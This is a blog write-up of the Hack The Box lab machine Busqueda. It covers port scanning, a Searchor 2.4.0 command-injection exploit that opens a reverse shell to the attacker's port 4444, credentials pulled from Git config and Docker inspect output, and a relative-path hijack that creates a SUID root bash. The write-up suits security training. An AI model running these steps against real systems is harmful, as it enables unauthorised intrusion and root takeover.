DEV Community

nekohige
nekohige

Posted on AI-assisted

HTB - Busqueda Writeup without Metasploit

Summary

This machine was compromised through a chain of three issues. First, the web application used a vulnerable version of a package, Searchor 2.4.0, which allowed arbitrary command injection. Second, a non-administrative user was permitted to run a script as root. Third, that script invoked a shell script using a relative path, which ultimately led to privilege escalation.

Recommendation

Assuming this were a real environment, I would recommend the following. Update the packages in use regularly to patch known vulnerabilities. Remove the ability for non-administrative users to run scripts as root, or restrict it to the minimum necessary. If running the script as root is unavoidable, the shell script must be called using an absolute path rather than a relative one.

Reconnaissance

First of all, perform a port scan using Nmap.

sudo nmap -sS -Pn -p- --open -n --min-rate 5000 -oA scan_all 10.129.49.173
Enter fullscreen mode Exit fullscreen mode

The scan results revealed that TCP ports 22 and 80 are open on the target host.

Next, perform a detailed scan on the open ports.

ports=$(grep -oP '\d+/open' scan_all.gnmap | cut -d/ -f1 | paste -sd,)
sudo nmap -sS -Pn -p "$ports" -A -oN scan_deep.txt 10.129.49.173
Enter fullscreen mode Exit fullscreen mode

The output shows "Service Info: Host: searcher.htb; ~", which tells us that this machine's hostname is searcher.htb.

Add the mapping between the IP address and the hostname to /etc/hosts.

echo "10.129.49.173 searcher.htb" | sudo tee -a /etc/hosts
Enter fullscreen mode Exit fullscreen mode

Enumeration

Access the following URL in a web browser.
http://searcher.htb/

Looking at the footer, we can see that it says "Searchor 2.4.0".

Searching the web for "Searchor 2.4.0 exploit" returns the following GitHub repository. It states that an arbitrary command injection vulnerability affects Searchor, including version 2.4.0.
https://github.com/nikn0laty/Exploit-for-Searchor-2.4.0-Arbitrary-CMD-Injection.git

Exploitation

Let's use this exploit.

git clone https://github.com/nikn0laty/Exploit-for-Searchor-2.4.0-Arbitrary-CMD-Injection.git
chmod +x exploit.sh
./exploit.sh http://searcher.htb/ 10.10.17.153 4444
Enter fullscreen mode Exit fullscreen mode

We got a shell!

Obtain the user.txt.

cat /home/svc/user.txt
Enter fullscreen mode Exit fullscreen mode

Privilege Escalation

At the initial foothold, there is a .git repository.

ls -la
Enter fullscreen mode Exit fullscreen mode

Let's check the config.

cat config
Enter fullscreen mode Exit fullscreen mode

It is revealed that there is a set of credentials: cody : jh1usoih2bkjaspwe92.

Let's see other Git-related items such as logs.

git -c safe.directory='*' log --oneline --all
Enter fullscreen mode Exit fullscreen mode

-c safe.directory='*' is used to bypass the following fatal error: fatal: detected dubious ownership in repository at '...'.

Proceed as instructed.

git config --global --add safe.directory /var/www/app
git -c safe.directory='*' log --oneline --all
Enter fullscreen mode Exit fullscreen mode

There is a commit called 5ede9ed. Let's look inside it.

git -c safe.directory='*' show 5ede9ed
Enter fullscreen mode Exit fullscreen mode

It contains administrator@gitea.searcher.htb, which suggests that a site called gitea.searcher.htb may exist.

So, let's add this name to /etc/hosts as well.

sudo vim /etc/hosts # append the hostname
cat /etc/hosts
Enter fullscreen mode Exit fullscreen mode

Access the site in a web browser.
http://gitea.searcher.htb/

We can see Gitea, a Git hosting service similar to GitHub.

The following URL shows that there are two users: administrator and cody.
http://gitea.searcher.htb/explore/users

Let's try the obtained credentials for cody on SSH.

ssh svc@10.129.49.173
Enter fullscreen mode Exit fullscreen mode

Logged in!

Let's look for anything that could be a key to privilege escalation.

sudo -l
Enter fullscreen mode Exit fullscreen mode

It states that a script called system-checkup.py can be run as root.

Let's run the script.

sudo /usr/bin/python3 /opt/scripts/system-checkup.py *
Enter fullscreen mode Exit fullscreen mode

Let's try the first action in the list.

sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
Enter fullscreen mode Exit fullscreen mode

It shows that there are two Docker containers: gitea and mysql_db.

Next action.

sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect
Enter fullscreen mode Exit fullscreen mode

I couldn't understand what format it expected. After checking a walkthrough, I understood that it works the same way as the Docker command shown below.

https://docs.docker.com/reference/cli/docker/inspect/

https://docs.docker.com/engine/cli/formatting/

So, this is the command expected.

sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .}}' gitea
Enter fullscreen mode Exit fullscreen mode

Let's use https://jsonprettier.com/ to make it easier to read.

{
  "Id": "960873171e2e2058f2ac106ea9bfe5d7c737e8ebd358a39d2dd91548afd0ddeb",
  "Created": "2023-01-06T17:26:54.457090149Z",
  "Path": "/usr/bin/entrypoint",
  "Args": [
    "/bin/s6-svscan",
    "/etc/s6"
  ],
  "State": {
    "Status": "running",
    "Running": true,
    "Paused": false,
    "Restarting": false,
    "OOMKilled": false,
    "Dead": false,
    "Pid": 1722,
    "ExitCode": 0,
    "Error": "",
    "StartedAt": "2026-10-02T06:23:04.301905578Z",
    "FinishedAt": "2023-04-04T17:03:01.71746837Z"
  },
  "Image": "sha256:6cd4959e1db11e85d89108b74db07e2a96bbb5c4eb3aa97580e65a8153ebcc78",
  "ResolvConfPath": "/var/lib/docker/containers/960873171e2e2058f2ac106ea9bfe5d7c737e8ebd358a39d2dd91548afd0ddeb/resolv.conf",
  "HostnamePath": "/var/lib/docker/containers/960873171e2e2058f2ac106ea9bfe5d7c737e8ebd358a39d2dd91548afd0ddeb/hostname",
  "HostsPath": "/var/lib/docker/containers/960873171e2e2058f2ac106ea9bfe5d7c737e8ebd358a39d2dd91548afd0ddeb/hosts",
  "LogPath": "/var/lib/docker/containers/960873171e2e2058f2ac106ea9bfe5d7c737e8ebd358a39d2dd91548afd0ddeb/960873171e2e2058f2ac106ea9bfe5d7c737e8ebd358a39d2dd91548afd0ddeb-json.log",
  "Name": "/gitea",
  "RestartCount": 0,
  "Driver": "overlay2",
  "Platform": "linux",
  "MountLabel": "",
  "ProcessLabel": "",
  "AppArmorProfile": "docker-default",
  "ExecIDs": null,
  "HostConfig": {
    "Binds": [
      "/etc/timezone:/etc/timezone:ro",
      "/etc/localtime:/etc/localtime:ro",
      "/root/scripts/docker/gitea:/data:rw"
    ],
    "ContainerIDFile": "",
    "LogConfig": {
      "Type": "json-file",
      "Config": {}
    },
    "NetworkMode": "docker_gitea",
    "PortBindings": {
      "22/tcp": [
        {
          "HostIp": "127.0.0.1",
          "HostPort": "222"
        }
      ],
      "3000/tcp": [
        {
          "HostIp": "127.0.0.1",
          "HostPort": "3000"
        }
      ]
    },
    "RestartPolicy": {
      "Name": "always",
      "MaximumRetryCount": 0
    },
    "AutoRemove": false,
    "VolumeDriver": "",
    "VolumesFrom": [],
    "CapAdd": null,
    "CapDrop": null,
    "CgroupnsMode": "private",
    "Dns": [],
    "DnsOptions": [],
    "DnsSearch": [],
    "ExtraHosts": null,
    "GroupAdd": null,
    "IpcMode": "private",
    "Cgroup": "",
    "Links": null,
    "OomScoreAdj": 0,
    "PidMode": "",
    "Privileged": false,
    "PublishAllPorts": false,
    "ReadonlyRootfs": false,
    "SecurityOpt": null,
    "UTSMode": "",
    "UsernsMode": "",
    "ShmSize": 67108864,
    "Runtime": "runc",
    "ConsoleSize": [
      0,
      0
    ],
    "Isolation": "",
    "CpuShares": 0,
    "Memory": 0,
    "NanoCpus": 0,
    "CgroupParent": "",
    "BlkioWeight": 0,
    "BlkioWeightDevice": null,
    "BlkioDeviceReadBps": null,
    "BlkioDeviceWriteBps": null,
    "BlkioDeviceReadIOps": null,
    "BlkioDeviceWriteIOps": null,
    "CpuPeriod": 0,
    "CpuQuota": 0,
    "CpuRealtimePeriod": 0,
    "CpuRealtimeRuntime": 0,
    "CpusetCpus": "",
    "CpusetMems": "",
    "Devices": null,
    "DeviceCgroupRules": null,
    "DeviceRequests": null,
    "KernelMemory": 0,
    "KernelMemoryTCP": 0,
    "MemoryReservation": 0,
    "MemorySwap": 0,
    "MemorySwappiness": null,
    "OomKillDisable": null,
    "PidsLimit": null,
    "Ulimits": null,
    "CpuCount": 0,
    "CpuPercent": 0,
    "IOMaximumIOps": 0,
    "IOMaximumBandwidth": 0,
    "MaskedPaths": [
      "/proc/asound",
      "/proc/acpi",
      "/proc/kcore",
      "/proc/keys",
      "/proc/latency_stats",
      "/proc/timer_list",
      "/proc/timer_stats",
      "/proc/sched_debug",
      "/proc/scsi",
      "/sys/firmware"
    ],
    "ReadonlyPaths": [
      "/proc/bus",
      "/proc/fs",
      "/proc/irq",
      "/proc/sys",
      "/proc/sysrq-trigger"
    ]
  },
  "GraphDriver": {
    "Data": {
      "LowerDir": "/var/lib/docker/overlay2/6427abd571e4cb4ab5c484059a500e7f743cc85917b67cb305bff69b1220da34-init/diff:/var/lib/docker/overlay2/bd9193f562680204dc7c46c300e3410c51a1617811a43c97dffc9c3ee6b6b1b8/diff:/var/lib/docker/overlay2/df299917c1b8b211d36ab079a37a210326c9118be26566b07944ceb4342d3716/diff:/var/lib/docker/overlay2/50fb3b75789bf3c16c94f888a75df2691166dd9f503abeadabbc3aa808b84371/diff:/var/lib/docker/overlay2/3668660dd8ccd90774d7f567d0b63cef20cccebe11aaa21253da056a944aab22/diff:/var/lib/docker/overlay2/a5ca101c0f3a1900d4978769b9d791980a73175498cbdd47417ac4305dabb974/diff:/var/lib/docker/overlay2/aac5470669f77f5af7ad93c63b098785f70628cf8b47ac74db039aa3900a1905/diff:/var/lib/docker/overlay2/ef2d799b8fba566ee84a45a0070a1cf197cd9b6be58f38ee2bd7394bb7ca6560/diff:/var/lib/docker/overlay2/d45da5f3ac6633ab90762d7eeac53b0b83debef94e467aebed6171acca3dbc39/diff",
      "MergedDir": "/var/lib/docker/overlay2/6427abd571e4cb4ab5c484059a500e7f743cc85917b67cb305bff69b1220da34/merged",
      "UpperDir": "/var/lib/docker/overlay2/6427abd571e4cb4ab5c484059a500e7f743cc85917b67cb305bff69b1220da34/diff",
      "WorkDir": "/var/lib/docker/overlay2/6427abd571e4cb4ab5c484059a500e7f743cc85917b67cb305bff69b1220da34/work"
    },
    "Name": "overlay2"
  },
  "Mounts": [
    {
      "Type": "bind",
      "Source": "/root/scripts/docker/gitea",
      "Destination": "/data",
      "Mode": "rw",
      "RW": true,
      "Propagation": "rprivate"
    },
    {
      "Type": "bind",
      "Source": "/etc/localtime",
      "Destination": "/etc/localtime",
      "Mode": "ro",
      "RW": false,
      "Propagation": "rprivate"
    },
    {
      "Type": "bind",
      "Source": "/etc/timezone",
      "Destination": "/etc/timezone",
      "Mode": "ro",
      "RW": false,
      "Propagation": "rprivate"
    }
  ],
  "Config": {
    "Hostname": "960873171e2e",
    "Domainname": "",
    "User": "",
    "AttachStdin": false,
    "AttachStdout": false,
    "AttachStderr": false,
    "ExposedPorts": {
      "22/tcp": {},
      "3000/tcp": {}
    },
    "Tty": false,
    "OpenStdin": false,
    "StdinOnce": false,
    "Env": [
      "USER_UID=115",
      "USER_GID=121",
      "GITEA__database__DB_TYPE=mysql",
      "GITEA__database__HOST=db:3306",
      "GITEA__database__NAME=gitea",
      "GITEA__database__USER=gitea",
      "GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh",
      "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
      "USER=git",
      "GITEA_CUSTOM=/data/gitea"
    ],
    "Cmd": [
      "/bin/s6-svscan",
      "/etc/s6"
    ],
    "Image": "gitea/gitea:latest",
    "Volumes": {
      "/data": {},
      "/etc/localtime": {},
      "/etc/timezone": {}
    },
    "WorkingDir": "",
    "Entrypoint": [
      "/usr/bin/entrypoint"
    ],
    "OnBuild": null,
    "Labels": {
      "com.docker.compose.config-hash": "e9e6ff8e594f3a8c77b688e35f3fe9163fe99c66597b19bdd03f9256d630f515",
      "com.docker.compose.container-number": "1",
      "com.docker.compose.oneoff": "False",
      "com.docker.compose.project": "docker",
      "com.docker.compose.project.config_files": "docker-compose.yml",
      "com.docker.compose.project.working_dir": "/root/scripts/docker",
      "com.docker.compose.service": "server",
      "com.docker.compose.version": "1.29.2",
      "maintainer": "maintainers@gitea.io",
      "org.opencontainers.image.created": "2022-11-24T13:22:00Z",
      "org.opencontainers.image.revision": "9bccc60cf51f3b4070f5506b042a3d9a1442c73d",
      "org.opencontainers.image.source": "https://github.com/go-gitea/gitea.git",
      "org.opencontainers.image.url": "https://github.com/go-gitea/gitea"
    }
  },
  "NetworkSettings": {
    "Bridge": "",
    "SandboxID": "eea368ea91bca44d911f0ef596e6c830d81b43ed38f5038a0a031dba6f37366c",
    "HairpinMode": false,
    "LinkLocalIPv6Address": "",
    "LinkLocalIPv6PrefixLen": 0,
    "Ports": {
      "22/tcp": [
        {
          "HostIp": "127.0.0.1",
          "HostPort": "222"
        }
      ],
      "3000/tcp": [
        {
          "HostIp": "127.0.0.1",
          "HostPort": "3000"
        }
      ]
    },
    "SandboxKey": "/var/run/docker/netns/eea368ea91bc",
    "SecondaryIPAddresses": null,
    "SecondaryIPv6Addresses": null,
    "EndpointID": "",
    "Gateway": "",
    "GlobalIPv6Address": "",
    "GlobalIPv6PrefixLen": 0,
    "IPAddress": "",
    "IPPrefixLen": 0,
    "IPv6Gateway": "",
    "MacAddress": "",
    "Networks": {
      "docker_gitea": {
        "IPAMConfig": null,
        "Links": null,
        "Aliases": [
          "server",
          "960873171e2e"
        ],
        "NetworkID": "cbf2c5ce8e95a3b760af27c64eb2b7cdaa71a45b2e35e6e03e2091fc14160227",
        "EndpointID": "15e2c5b2165e4ffbf47533342c7d95f6ad7c67d3367a9d1d117d81ea6a792d3a",
        "Gateway": "172.19.0.1",
        "IPAddress": "172.19.0.2",
        "IPPrefixLen": 16,
        "IPv6Gateway": "",
        "GlobalIPv6Address": "",
        "GlobalIPv6PrefixLen": 0,
        "MacAddress": "02:42:ac:13:00:02",
        "DriverOpts": null
      }
    }
  }
}

Enter fullscreen mode Exit fullscreen mode

We can see a password: yuiu1hoiu4i5ho1uh.

Let's try the password for the administrator account on Gitea. Access the following URL: http://gitea.searcher.htb/user/login?redirect_to=%2f, and log in with the credentials.

Logged in!

Looking at the source of system-checkup.py, the action called full-checkup runs ./full-checkup.sh, which is a relative path.

So, this implies that if I place a malicious script somewhere like /tmp and execute system-checkup.py from there, it will run my script.

Let's try it out.

cd /tmp; printf '#!/bin/bash\ncp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash\n' >  full-checkup.sh
chmod +x full-checkup.sh
sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
Enter fullscreen mode Exit fullscreen mode

rootbash is created!

./rootbash -p
Enter fullscreen mode Exit fullscreen mode

Root shell obtained!

Lessons Learned

  • Should have checked the Git config as well.
  • Should have run sudo -l first.
  • Should have recognized that it was a Docker command.
  • Should have noticed that the script used a relative path to call the shell script.

Top comments (0)